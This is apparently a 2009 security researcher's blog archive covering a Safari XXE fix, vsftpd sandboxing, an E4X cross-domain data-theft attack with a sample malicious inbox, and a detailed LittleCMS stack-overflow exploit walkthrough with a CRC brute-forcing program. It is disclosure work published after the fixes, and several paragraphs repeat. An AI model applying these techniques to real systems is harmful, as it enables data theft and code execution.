Safari 4 was just released and among the various improvements is a range of security fixes. One of these fixes is for an XXE attack against the parsing of the XSL XML. Full technical details may be found here:
http://scary.beasts.org/security/CESA-2009-006.html
Or for the lazy, you can skip straight to the:
Demo for Safari 3 / MacOS
Demo for Safari 3 / Windows
I found it interesting that Safari 3 seemed robust against XXE attacks in general -- there are a lot of places that browsers find themselves parsing XML (XmlHttpRequest, prettifying XML mime type documents, SVG, E4X, etc.) However, the relatively obscure area of the XSL XML succumbed to an XXE attack.
(Note: awareness of XXE attacks remains low despite the issue being documented since at least 2002).
Monday, June 8, 2009
Friday, May 29, 2009
vsftpd-2.1.2 released and new security tricks
(Note: v2.1.2 is the same as v2.1.1 but with a compile fix)
vsftpd-2.1.2 is released with full details as always on the vsftpd home page:
http://vsftpd.beasts.org/
For users, a couple of nasty regressions are fixed: SSL transfers would drop due to an errant timeout firing; this is now fixed. Also, an absent per-user config file was fine with v2.0.7 but an error in v2.1.0. v2.1.2 restores v2.0.7 behaviour.
For Linux developers / security types, there are a couple of much more interesting stories:
vsftpd-2.1.2 is released with full details as always on the vsftpd home page:
http://vsftpd.beasts.org/
For users, a couple of nasty regressions are fixed: SSL transfers would drop due to an errant timeout firing; this is now fixed. Also, an absent per-user config file was fine with v2.0.7 but an error in v2.1.0. v2.1.2 restores v2.0.7 behaviour.
For Linux developers / security types, there are a couple of much more interesting stories:
- RLIMIT_NPROC support. Least interestingly, the unprivileged vsftpd processes limit their own ability to launch new processes. A compromise of such a process now does not get to cause a nuisance by flooding the system with more processes. In addition, privilege escalations via kernel bugs in the copious
clone()API and involving subtle interactions between collaborating evil processes should be mitigated. - RLIMIT_NOFILE support for some of the unprivileged vsftpd processes. This excellent defensive tweak comes courtesy of my colleague Tavis Ormandy with further research by Julien Tinnes. When set to 0, this limit prevents a process from gaining any new file descriptors. So a compromised unprivileged process doesn't get to create new network sockets or open new files. Of course the filesystem aspect is not as good as
chroot()because non-fd-based syscalls such asstat()etc. will still leak information and something likerename()may present a total compromise. So there's limited value without combination with achroot()and also a switch to a different UID to prevent devastatingptrace()attacks. This is a shame because this facility is available to non-root users; and options to voluntarily jail yourself as a non-root user under Linux are generally terrible. There are a couple of additional annoyances: POSIX requires that RLIMIT_NOFILE==0 prevents any file descriptors in apoll()call but curiously notselect(). Also, the limit includes file descriptors passed in over a UNIX socket so this precludes some neat designs. Still, an interesting tweak to bear in mind. - CLONE_NEWPID / CLONE_NEWIPC support for all distinct vsftpd sessions. These flags were added to the Linux kernel extremely recently, and essentially allow you to launch new processes in isolated PID and IPC ID spaces. This represents further limits on the damage that a compromised vsftpd process could cause. The isolated PID space means no ability to
kill()all other vsftpd sessions. (Note that the more seriousptrace()is already carefully defended against with management of the per-process "dumpable" concept). The isolated IPC ID space means no ability to abuse the common flaw of IPC objects with inappropriate world-access permissions.
Wednesday, May 20, 2009
A more plausible E4X attack
As a quick recap, "E4X" is the name of a Javascript standard relating to strong XML support in the language. Firefox has had an implementation for quite some time but no other major browser seems to have followed suit.
My colleages Filipe Almeida and Michal Zalewski led the way in E4X security; check out:
http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
However, the attack scenarios in that document are in my opinion not likely to occur in many web apps. It so happens that I was fiddling around the night before my HiTB talk (which briefly covers E4X) and I came up with something more compelling. Take a hypothetical web mail service which provides an XML feed format of the inbox, which might look something like this:
One general concept of interest in the above fragment is the ability of the attacker to echo little pieces of attacker-controlled text onto a trusted domain. Specifically, in e-mail subject text! More on this in another post.
With this realization, we're all set to mount an E4X-based theft attack. First, you'll want to see it in action. You'll need Firefox to see the popup alert indicating cross-domain XML theft:
https://cevans-app.appspot.com/static/e4xtheft.html
The attack works by cross-domain including the XML formatted inbox into the attacker's page via
As you can see, the attacker's sneaky choice of subject lines has caused an expression to be evaluated which:
For the attack to work, there are constraints:
There will be real-world services matching these constraints. When you find them, drop me an e-mail or leave a comment.
As always, Mozilla security responded wonderfully to this advance in E4X theft. A behavioural tweak was committed and is due in Firefox 3.5, which will break this attack.
My colleages Filipe Almeida and Michal Zalewski led the way in E4X security; check out:
http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
However, the attack scenarios in that document are in my opinion not likely to occur in many web apps. It so happens that I was fiddling around the night before my HiTB talk (which briefly covers E4X) and I came up with something more compelling. Take a hypothetical web mail service which provides an XML feed format of the inbox, which might look something like this:
<inbox>
<mail id="1234"><from>evil@hacker.com</from><subject>{ x = '</subject><body>PWN...</body></mail>
<mail id="1235"><from>bank@bank.com</from><subject>Super sensitive!</subject><body>New pin: 9976</body></mail>
<mail id="1236"><subject>' }</subject><body>...ed!!</body></mail>
</inbox>
One general concept of interest in the above fragment is the ability of the attacker to echo little pieces of attacker-controlled text onto a trusted domain. Specifically, in e-mail subject text! More on this in another post.
With this realization, we're all set to mount an E4X-based theft attack. First, you'll want to see it in action. You'll need Firefox to see the popup alert indicating cross-domain XML theft:
https://cevans-app.appspot.com/static/e4xtheft.html
The attack works by cross-domain including the XML formatted inbox into the attacker's page via
<script src="blah">. Raw XML is valid Javascript in Firefox, thanks to E4X, so this parses and executes in the attacker's context. The reason the attacker is able to mount a theft is that E4X looks for curly braces in XML values and tries to interpret the surrounded text as a Javascript expression to evaluate. Looking again at our above XML, we see the following in the middle:
<subject>{ x = '</subject><body>PWN...</body></mail>
<mail id="1235"><from>bank@bank.com</from><subject>Super sensitive!</subject><body>New pin: 9976</body></mail>
<mail id="1236"><subject>' }</subject>
As you can see, the attacker's sneaky choice of subject lines has caused an expression to be evaluated which:
- Wraps a part of the XML in single quotes, forming a Javascript string literal.
- Assigns said string literal to a Javascript variable in the attacker's domain!
- Leaves the XML tag structure balanced, thanks to the repeating nature of the XML tree.
For the attack to work, there are constraints:
- There must be no newlines in the part of the XML structure that you are stealing, because Javascript literals cannot span unescaped newlines.
- There must be no XML prolog or DTD since these break the Firefox E4X parser.
- The single quote character must be rendered into XML values unescaped and double quotes must be used to surround XML attributes (or visa versa).
There will be real-world services matching these constraints. When you find them, drop me an e-mail or leave a comment.
As always, Mozilla security responded wonderfully to this advance in E4X theft. A behavioural tweak was committed and is due in Firefox 3.5, which will break this attack.
Friday, May 1, 2009
HiTB Dubai: all over apart from the blogging
I recently had the pleasure to be invited by Dhillon to present at HackInTheBox (HiTB) Dubai with Billy Rios on our "Cross Domain Leakiness" work. Here is a link to our updated slides:
http://docs.google.com/Presentation?id=dfgb2455_72fkwc2phc
It was a very productive conference, all told. The sort of conference where new attacks materialise over breakfast conversations. In terms of new and pending material, I'll do separate posts regarding:
I'm going to be thinking about contributing more to the building side.
http://docs.google.com/Presentation?id=dfgb2455_72fkwc2phc
It was a very productive conference, all told. The sort of conference where new attacks materialise over breakfast conversations. In terms of new and pending material, I'll do separate posts regarding:
- My latest E4X cross-domain theft attack (building on the work of my colleagues Filipe and Michal)
- A new "divided login" attack (Billy and I having fun over breakfast)
- JDK GIFAR fix considered incomplete
- A new cross-browser cross-domain theft
I'm going to be thinking about contributing more to the building side.
Friday, March 27, 2009
Sun Java JRE Pack200 bugs
A friend of mine, Rich Cannings, spotted my name in a Sun security advisory so I guess this means my Pack200 crashes are fixed:
http://scary.beasts.org/security/CESA-2009-005.html
This bug continues a trend of looking to native code parsers within the JRE, in order to break out of it. The most obvious application is to take over desktops via evil applets which abuse these bugs to cause memory corruptions.
The individual bugs themselves are pretty lame insofar as they are under-researched with a bit of dumb fuzzing. I was simply testing the general area for robustness, and found trouble. Other people have hit the same area, through iDefense, in the past couple of JRE updates -- hopefully they did a better job than me.
The interesting point is that researchers seem to have gotten the point regarding native code in the JRE. I've hit areas such as 2D graphics; ICC parsing and now Pack200 parsing. Others have hit GIF parsers and the font parsing. Aside from well-tested native code (jpeglib, zlib, libpng), and more of the same (e.g. a lot of font / 2D medialib code!), what's left?
http://scary.beasts.org/security/CESA-2009-005.html
This bug continues a trend of looking to native code parsers within the JRE, in order to break out of it. The most obvious application is to take over desktops via evil applets which abuse these bugs to cause memory corruptions.
The individual bugs themselves are pretty lame insofar as they are under-researched with a bit of dumb fuzzing. I was simply testing the general area for robustness, and found trouble. Other people have hit the same area, through iDefense, in the past couple of JRE updates -- hopefully they did a better job than me.
The interesting point is that researchers seem to have gotten the point regarding native code in the JRE. I've hit areas such as 2D graphics; ICC parsing and now Pack200 parsing. Others have hit GIF parsers and the font parsing. Aside from well-tested native code (jpeglib, zlib, libpng), and more of the same (e.g. a lot of font / 2D medialib code!), what's left?
com.sun.media.sound? sun.java2d? Have at it :)
Thursday, March 26, 2009
LittleCMS exploit
Now that new packages are out for lcms and OpenJDK, I'll publish my LittleCMS exploit. It's harmless in that if it actually works on your machine, all it does it put your CPU into a spin -- watch out for 100% CPU usage. It's also relatively harmless in that it doesn't work on many systems out of the box. I targeted my 32-bit Ubuntu 8.10 laptop which happens to have an executable heap, executable stack, no stack cookies but does have ASLR.
Here's the sample JPG file with embedded evil ICC profile: http://cevans-app.appspot.com/static/CVE-2009-0733.jpg
I'm only bothering to write about this because the story behind the exploit contains a few interesting twists which illustrate the iterative constraint solving used in modern exploits:
Here's the sample JPG file with embedded evil ICC profile: http://cevans-app.appspot.com/static/CVE-2009-0733.jpg
I'm only bothering to write about this because the story behind the exploit contains a few interesting twists which illustrate the iterative constraint solving used in modern exploits:
- The underlying code flaw is a stack-based buffer overflow. But the data going past the bounds is not arbitrarily user-controlled. (If it were, a traditional stack smashing exploit would work, but the ASLR could affect the reliability of the exploit). Here's the faulty code in cmsio1.c, where
nCurvescan end up greater thanMAXCHANNELS:
static
LCMSBOOL ReadSetOfCurves(LPLCMSICCPROFILE Icc, size_t Offset, LPLUT NewLUT, int nLocation)
{
LPGAMMATABLE Curves[MAXCHANNELS];
...
for (i=0; i < nCurves; i++) {
Curves[i] = ReadCurve(Icc);
... - The data going past bounds is actually pointers to heap chunks (returned by
ReadCurve). This is nice because it takes ASLR out of the equation. We'll automatically overwrite%eipwith a pointer to a valid heap address. But what is in that heap chunk? If it were arbitrary user controlled data, we'd have game over already, but unfortunately it is not. We're looking at pointers to this structure:
struct GAMMATABLE {
unsigned int Crc32;
int Type;
double Params[10];
int nEntries;
WORD GammaTable[1];
} - There are two types of constructs in the input ICC profile used as a basis to populate this structure:
curvandpara.curvis of little use to us because it mostly leavesCrc32set to0(or set based only on 16 bits of input entropy). Trying to execute the code0x00 0x00is a crash because it dereferences the%eaxregister:add %al,(%eax), and the value of this register is left as0or1to denote success of failure when theReadSetOfCurvesfunction exits. - This leaves us looking at a
paracurve, which calculatesCrc32based very indirectly on some input variables under our control. Although we can't reverse it, we can brute force it with a little program:
#include "lcms.h"
static
void AdjustEndianess32(LPBYTE pByte)
{
BYTE temp1;
BYTE temp2;
temp1 = *pByte++;
temp2 = *pByte++;
*(pByte-1) = *pByte;
*pByte++ = temp2;
*(pByte-3) = *pByte;
*pByte = temp1;
}
static
double Convert15Fixed16(icS15Fixed16Number fix32)
{
double floater, sign, mid, hack;
int Whole, FracPart;
AdjustEndianess32((LPBYTE) &fix32);
sign = (fix32 < 0 ? -1 : 1);
fix32 = abs(fix32);
Whole = LOWORD(fix32 >> 16);
FracPart = LOWORD(fix32 & 0x0000ffffL);
hack = 65536.0;
mid = (double) FracPart / hack;
floater = (double) Whole + mid;
return sign * floater;
}
int
main(int argc, const char* argv[]) {
unsigned int crc;
unsigned char* p_crc;
double params[10];
int type = 0;
unsigned int i;
unsigned int start = atoi(argv[1]);
for (i = start; i <= 0xffffffff; ++i) {
if ((i % 10000) == 0) {
printf("progress: %u\n", i);
}
params[0] = Convert15Fixed16(i);
LPGAMMATABLE table = cmsBuildParametricGamma(4096, type + 1, params);
crc = table->Seed.Crc32;
p_crc = &crc;
if ((p_crc[0] == 0x93 || p_crc[0] == 0x95 || p_crc[0] == 0x97) &&
p_crc[1] == 0xff &&
p_crc[2] == 0xe6) {
printf("got it!!!!!!! %u %u\n", i, p_crc[0]);
return 0;
}
free(table);
}
return 1;
} - What does this program do? Let's see:
chris@chris-desktop:~/progs$ ./a.out 3221970952
got it!!!!!!! 3221970952 151
This is telling us that aparacurve of type0whose 4 input bytes are3221970952 == 0xC00B6008will result in0x97 0xff 0xe6 0x??being written toCrc32. We don't care about the last byte. This assembles toxchg %eax,%edi jmp %esiwhich will execute because%eipjumps to thisparaheap chunk, which starts with the CRC. It is urgent to do something in 4 bytes or less because we have terrible control over the rest of the content of this heap chunk. What these 3 bytes do is to overwrite%eaxwith%edithen jump to%esi. The significance here is that both registers we used were under our control because they were also restored from the stack we trashed with pointers to valid heap chunks. - So execution continues at the curve heap chunk pointed to by
%esi. We arrange for this to be acurvtype chunk. Earlier we dismissed them as useless because the0 Crc32will result in a dereference of%eax. But now, thanks to ourparachunk, we've repaired%eaxto point to a valid heap chunk! Unlikeparachunks,curvchunks do contain arbitrary data we can supply, after a mostly-zero header. We've essentially used the control at the beginning of aparachunk to repair%eaxand use the vast control at the end of acurvchunk. Before our arbitrary code executes, a bunch of now harmless0x00 0x00will execute, writing some junk at the start of one of our unused heap chunks. Finally, just before our arbitrary code, the value ofnEntriesin the header will be executed. This value is0x02 0x00 0x00 0x00which isadd (%eax),%al add %al,(%eax). This trashes%eaxa little bit before dereferencing it again, but only up to 256 bytes, so we're good and we could always use a different number of entries in ourcurvchunk. Certainly, a real payload would need more than 2 words. - The actual arbitrary code that executes is
0xeb 0xfewhich is equivalent tofor (;;);in C. Look out for an endian reversed instance of those two bytes, as well as an endian reversed0xC00B6008in the exploit file. - There's one further twist in the exploit relating to stack alignment. Some compilation optimization leaves no space between the end of the
Curvesarray and the start of the saved registers. Other cases have a 4-byte gap. The exploit caters for both these stack layouts by careful layout ofcurvvs.parachunks. Here's a simple illustrative table:
As can be seen,Curve in input file Hit if 0 gap Hit if 4 bytes gap 17: blank curv ebp 4-byte gap 18: curv payload esi ebp 19: curv payload edi esi 20: blank curv ebx edi 21: para redirect payload eip ebx 22: para redirect payload eip + 4 eip %eipalways gets theparapayload and%esialways gets the real payload.
Tuesday, March 17, 2009
LittleCMS vulnerabilities
Today, vendor updates should be flowing for vulnerabilities in LittleCMS, sometimes known just as "lcms" or "liblcms". LittleCMS is a very useful open-source colour profile parsing and conversion tool. Some technical details of the various vulnerabilities (stack-based buffer overflows, integer overflows, etc). are given here:
http://scary.beasts.org/security/CESA-2009-003.html
The most interesting thing about LittleCMS is how quickly it has become a very critical building block for UNIX desktops. Let's enumerate some of the pieces of software impacted by any lcms vulnerabilities:
Finally, some notes on the various Linux system protections that do or don't help defend against the exploit for this stack-based buffer overflow:
http://scary.beasts.org/security/CESA-2009-003.html
The most interesting thing about LittleCMS is how quickly it has become a very critical building block for UNIX desktops. Let's enumerate some of the pieces of software impacted by any lcms vulnerabilities:
- OpenJDK. OpenJDK uses lcms to parse colour profiles embedded in JPEG or BMP files. OpenJDK is on the default browser attack surface of a lot of Linux installations, e.g. Fedora 10.
- Firefox. Firefox 3.1beta uses lcms to parse colour profiles embedded in JPEG files -- by default. (Firefox 3.0 has this ability but not by default, so thankfully this can be addressed before 3.1 goes production).
- GIMP. GIMP uses the system liblcms library to parse colour profiles embedded in at least JPEG files.
Finally, some notes on the various Linux system protections that do or don't help defend against the exploit for this stack-based buffer overflow:
- My exploit targets, but is not limited to, systems with executable heaps. Interestingly 32-bit Ubuntu 8.10 on my laptop shows the heap as non-executable in
/proc/<pid>/maps, but it lies because the installed kernel is non-PAE. - For systems with non-executable heaps, such as 64-bit Ubuntu 8.10 on my desktop, an exploit is still possible because you can point registers other than
ripinto the heap (e.g.rbp). I've not written this exploit. - Systems with stack smashing detection, such as Fedora 10, do make the exploit hard or impossible. However, the somewhat risky OpenJDK package on such a system is not compiled with stack smashing detection, leaving the default browsing experience vulnerable.
- I noticed that the Fedora 10 stack smashing detection does not exit cleanly, but gives a SIGSEGV. On 32-bit, the faulting instruction is
cmpw $0xb858,(%eax)where%eax == 0x1. Stack frames is__stack_chk_fail __fortify_fail __libc_message backtrace _Unwind_Backtrace ??. Leave a comment if you know what's going on. Sounds dangerous to me.
Subscribe to:
Posts (Atom)